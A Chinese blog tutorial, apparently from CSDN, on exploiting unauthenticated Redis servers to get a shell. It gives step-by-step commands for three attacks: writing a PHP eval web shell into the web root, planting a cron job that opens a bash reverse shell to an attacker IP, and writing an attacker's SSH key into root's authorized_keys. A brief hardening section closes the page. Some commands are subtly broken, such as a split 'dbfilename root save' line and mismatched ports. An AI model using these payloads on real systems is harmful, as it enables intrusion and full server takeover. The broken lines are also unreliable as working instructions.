Redis未授权访问漏洞

一、Redis环境搭建

本文介绍了三种针对Redis未授权访问的getshell方式,只针对低版本或开启了enable-protected-config配置的redis,但是一打一个准,而且还快。

其他的利用方式可以看我的主页博客(覆盖面更广、利用成功率更高)。

Redis Lua沙盒绕过RCE(CVE-2022-0543)-CSDN博客

# 下载Redis 
wget http://download.redis.io/releases/redis-4.0.2.tar.gz 
# 解压Redis 
tar -zxvf redis-stable.tar.gz 
# 解压后需要进入redis-stable进行编译 
make 
# 环境变量配置(方便全局使用) 
cp redis-server /usr/bin 
cp redis-cli /user/bin 
cp redis.conf /etc 
# 服务器端启动命令 
redis-server /etc/redis.conf 
# 客户端连接指令 
redis-cli -h 目标主机ip地址 -p 端口号

出现以下情况说明编译成功:

环境搭建错误情况总结:

1.redis服务启动之后,使用nmap扫描发现redis服务关闭

  • 检查Redis开启情况
ps -ef | grep redis
  • 关闭防火墙
#关闭防火墙
systemctl stop firewalld
#并永久性开启自禁止
systemctl disable firewalld
  • 更改绑定配置,对外开放服务或者绑定攻击机IP
bind 127.0.0.1 ::1 
bind 192.168.xx.xx     #将服务器IP写入 
bind 0.0.0.0           #对所有IP开放 
protected-mode no      #将yes改成no,关闭保护模式

注:配置更改之后记得重启Redis

二、Redis漏洞原理

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作 。

注:只存在于Redis低版本

三、Redis获取Shell

1.直接写入shell脚本

前提条件

  • 低版本或者enable-protected-config yes
  • 知道网站绝对路径,并且需要增删改查权限
    • 获取网站路径:报错带出、phpinfo、配置文件泄露、SQL注入、其他数据泄露
  • 启动redis时以root权限启动
  • redis无密码或弱口令

写入shell

config set dir /var/www/html/                         #写入文件路径 
config set dbfilename shell.php                       #写入文件名 
set x "<?php phpinfo();eval($_POST['ant']);?>"        #写入一句话 
save                                                  #保存

含义:通过Redis命令将数据目录改为/var/www/html/,并将数据库文件名设为shell.php,随后在数据库文件中写入一句话木马,最后通过save命令将数据刷新到磁盘

这里的修改都是对配置文件的修改,需要开启enable-protected-config yes,低版本默认开启

2.定时任务写入反弹shell

攻击机开启服务监听,通过Redis写入定时任务将shell发送给攻击机。

2.1攻击机开启监听

nc -lvp 8888

2.2在redis中写入计划任务

set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.181.128/888 0>&1\n\n" 
config set dir /var/spool/cron/ 
config set dbfilename 
root save

注意:这里通过计划任务建立tcp连接将bash发送给攻击机(最简单),实际情况下可能不支持此操作,可以通过python、php、java脚本实现此功能

等待一分钟~

3.写SSH公钥登录服务器

SSH原理解析:

SSH提供两种登录验证方式,一种是口令验证也就是账号密码登录,另一种是密钥验证。

所谓密钥验证,其实就是一种基于公钥密码的认证,使用公钥加密、私钥解密,其中公钥是可以公开的,放在服务器端,你可以把同一个公钥放在所有你想SSH远程登录的服务器中,而私钥是保密的只有你自己知道,公钥加密的消息只有私钥才能解密,大体过程如下:

  1. 客户端生成私钥和公钥,并把公钥拷贝给服务器端;
  2. 客户端发起登录请求,发送自己的相关信息;
  3. 服务器端根据客户端发来的信息查找是否存有该客户端的公钥,若没有拒绝登录,若有则生成一段随机数使用该公钥加密后发送给客户端;
  4. 客户端收到服务器发来的加密后的消息后使用私钥解密,并把解密后的结果发给服务器用于验证;
  5. 服务器收到客户端发来的解密结果,与自己刚才生成的随机数比对,若一样则允许登录,不一样则拒绝登录。

前提条件:

  1. Redis服务使用ROOT账号启动
  2. 服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器

3.1攻击机生成公钥

ssh-keygen -t rsa

3.2获取公钥文件

cd /root/.ssh 
cat id_rsa.pub

3.3上传公钥

redis-cli -h 192.168.33.134               #连接目标主机
redis config get dir                      #检查当前保存路径 
config get dbfilename                     #检查保存文件名 
config set dir /root/.ssh/                #设置保存路径 
config set dbfilename authorized_keys     #设置保存文件名 
set xz "\n\n\n 公钥 \n\n\n"               #将公钥写入xz健 
save                                      #进行保存

这里将ssh公钥写入到靶机的/root/.ssh下生成一个授权的key。通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里。

这里防止公钥粘贴错误,可以通过文件形式写入:

// 保存在key文件中(前后用\n换行,避免和redis里其他缓存数据混合) 
(echo -e"\n";cat id_rsa.pub;echo -e "\n") > key.txt 
// 上传key文件到redis缓存中 
cat /root/.ssh/key.txt | redis-cli -h 192.168.8.128 -x set pub 
注意:其他步骤不能少,修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys。

注意: redis 可以创建文件但无法创建目录,所以,redis待写入文件所在的目录必须事先存在。

出现如下图错误是因为目标靶机不存在.ssh目录。(默认没有,需要生成公、私钥或者建立ssh连接时才会生成)

执行靶机执行ssh,生成.ssh目录

ssh localhost

3.4公钥链接

ssh -i /root/.ssh/id_rsa root@xx.xx.xx.xx

4.Redis防护建议

  • 限制redis访问:修改redis.conf文件

把# bind 127.0.0.1前面的 注释#号去掉,然后把127.0.0.1改成允许访问你的redis服务器的ip地址,表示只允许该ip进行访问。这种情况下,我们在启动redis服务器的时候不能再用:redis-server。

改为:redis-server path/redis.conf 即在启动的时候指定需要加载的配置文件。

  • 增加redis访问密码

在redis.conf配置文件中找到 requirepass 配置项,取消#注释符,在requirepass 后面添加设置的密码。设置密码以后发现可以登陆,但是无法执行命令了。

  1. 启动redis客户端,并连接服务器:redis-cli -h IP地址 -p 端口号
  2. 在连接服务器的候就可以指定登录密码,避免单独输入上面授权命令:redis-cli -h IP地址 -p 端口号 -a 密码
  3. 在配置文件redis.conf中配置验证密码以外,也可以在已经启动的redis服务器通过命令行设置密码,但这种方式是临时的,当服务器重启了后,密码必须重设。命令行设置密码方式:config set requirepass 你的密码
  4. 当前redis服务器是否有设置验证密码,或者忘记密码,可以通过命令行输入命令查看密码:config get requirepass。
  5. 如果redis服务端没有配置密码,会得到nil,而如果配置了密码,但是redis客户端连接redis服务端时,没有用密码登录验证,会提示:operation not permitted,这时候可以用命令:auth yourpassword 进行验证密码,再执行 config set requirepass,就会显示yourpassword。

        注意:

                输出服务器中的所有key:keys *

                报错:(error) ERR operation not permitted

                使用授权命令进行授权,就不报错了:auth youpassword

  • 修改默认端口:修改redis.conf文件

修改默认端口 port 6379 (注意:尽量不要和其他服务端口号冲突,改成一些少用或不常见的端口号即可)

这里的三种方式只是对Redist的未授权访问的简单利用,可以看我的主页博客查看其他的利用方式(覆盖面更广、利用成功率更高)。

Redis Lua沙盒绕过RCE(CVE-2022-0543)-CSDN博客

  • 6
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值